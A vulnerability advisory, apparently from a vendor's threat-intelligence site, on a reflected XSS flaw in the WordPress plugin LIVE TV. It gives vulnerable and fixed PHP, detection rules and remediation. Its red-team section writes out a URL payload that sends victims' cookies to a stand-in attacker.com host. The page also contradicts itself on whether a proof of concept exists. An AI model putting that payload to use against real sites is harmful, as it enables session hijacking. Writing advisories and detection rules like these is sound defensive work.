CVE-2025-23608
Executive Summary
CVE-2025-23608 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin LIVE TV by Omar Mohamed Mohamoud, affecting versions up to and including 1.2. The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as CWE-79 with a CVSS score of 7.1 (High). No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and potentially through third-party marketplaces. Since no patch exists, users must rely on manual mitigation or removal of the plugin. The lack of vendor response increases supply chain risk for any site using this plugin.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack can be launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must click a crafted link.
- Scope (S): Changed (C) – The injected script can affect other resources.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on service availability.
Threat Level: High – Reflected XSS can be weaponized in phishing campaigns or drive-by attacks.
Deep Dive & Mechanics
The vulnerability exists in the live-tv plugin's handling of URL parameters. When a user visits a crafted URL, the plugin reflects the malicious input without proper sanitization or output encoding. For example, a parameter like ?channel=<script>alert(1)</script> would be echoed back in the HTML response, executing the script in the victim's browser.
The root cause is the use of echo $_GET['channel']; or similar unsanitized output functions in the plugin's PHP code. WordPress provides functions like esc_html() and esc_attr() to prevent XSS, but the plugin fails to use them.
Vulnerable vs. Patched Code
Vulnerable Code (PHP):
<?php
$channel = $_GET['channel'];
echo "<div id='live-tv-player'>$channel</div>";
?>
Patched Code (PHP):
<?php
$channel = isset($_GET['channel']) ? esc_html($_GET['channel']) : '';
echo "<div id='live-tv-player'>" . esc_html($channel) . "</div>";
?>
The patched version uses esc_html() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team
- Setup: Deploy a WordPress instance with LIVE TV plugin version 1.2.
- Craft Payload: Create a URL with a malicious script:
http://target.com/?channel=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Deliver: Send the link via email or social engineering.
- Execute: When the victim clicks, the script executes and exfiltrates cookies.
No public exploit code is available.
Blue Team
- Detection: Monitor web logs for requests containing
<script>tags in query parameters. - Blocking: Use a WAF to block reflected XSS patterns.
- Honeypot: Deploy a decoy WordPress site with the vulnerable plugin to capture attacker behavior.
Indicators of Compromise (IOCs)
- Network: HTTP requests with query parameters containing
<script>,onerror,onload, orjavascript:. - File: Presence of
live-tvplugin directory in/wp-content/plugins/live-tv/. - Log: Apache/Nginx access logs showing
?channel=<script>patterns. - Behavior: Unexpected outbound connections from the web server to unknown IPs.
Detection Engineering
YARA Rule
rule CVE_2025_23608_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against LIVE TV plugin"
author = "Valters IT"
date = "2025-02-20"
cve = "CVE-2025-23608"
strings:
$xss1 = "?channel=<script" ascii nocase
$xss2 = "?channel=javascript:" ascii nocase
$xss3 = "?channel=onerror=" ascii nocase
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against LIVE TV Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-23608
author: Valters IT
date: 2025/02/20
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- '?channel=<script'
- '?channel=javascript:'
- '?channel=onerror='
condition: selection
falsepositives:
- Legitimate use of script tags in testing environments
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-23608 Reflected XSS in LIVE TV Plugin"; flow:to_server,established; content:"?channel="; http_uri; content:"<script"; http_uri; nocase; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable and remove the LIVE TV plugin from all WordPress installations.
- Alternative: Replace with a maintained live TV plugin that follows secure coding practices.
- WAF: Deploy a Web Application Firewall with rules to block reflected XSS patterns.
- Input Validation: Implement server-side validation for all user-supplied parameters.
- Output Encoding: Use WordPress functions like
esc_html(),esc_attr(), andwp_kses(). - Monitor: Continuously monitor for exploitation attempts using the provided detection rules.
Valters IT – DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.